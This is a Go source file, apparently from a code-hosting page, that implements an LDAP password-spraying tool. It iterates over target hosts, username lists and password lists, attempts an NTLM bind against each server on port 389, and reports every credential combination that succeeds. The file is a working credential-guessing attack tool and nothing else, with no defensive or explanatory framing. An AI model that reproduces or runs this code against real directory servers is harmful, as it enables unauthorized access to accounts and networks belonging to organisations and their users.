-
Notifications
You must be signed in to change notification settings - Fork 0
/
ldapSpray.go
46 lines (41 loc) · 1.08 KB
/
ldapSpray.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package main
import (
"fmt"
"strconv"
"github.com/go-ldap/ldap/v3"
"sync"
)
func ldapSpray(wg *sync.WaitGroup, channelToCommunicate chan string, taskToRun task, storeResult *int) {
defer wg.Done()
internalCounter := 0
for _, taskTarget := range taskToRun.targetsRaw {
temporaryTarget := parseTarget(taskTarget)
taskToRun.target = temporaryTarget
if taskToRun.target.port == 0 {
taskToRun.target.port = 389
}
for _, password := range taskToRun.passwords {
for _, username := range taskToRun.usernames {
if internalCounter >= *storeResult {
conn, err := ldap.DialURL("ldap://" + taskToRun.target.host + ":" + strconv.Itoa(taskToRun.target.port))
req := &ldap.NTLMBindRequest{
Domain: "test",
Username: username,
Password: password,
}
_, err = conn.NTLMChallengeBind(req)
if err != nil {
fmt.Print("-")
} else {
fmt.Print("+")
channelToCommunicate <- taskToRun.target.host + ":" + username + ":" + password
}
//conn.Close()
*storeResult++
} else {
}
internalCounter++
}
}
}
}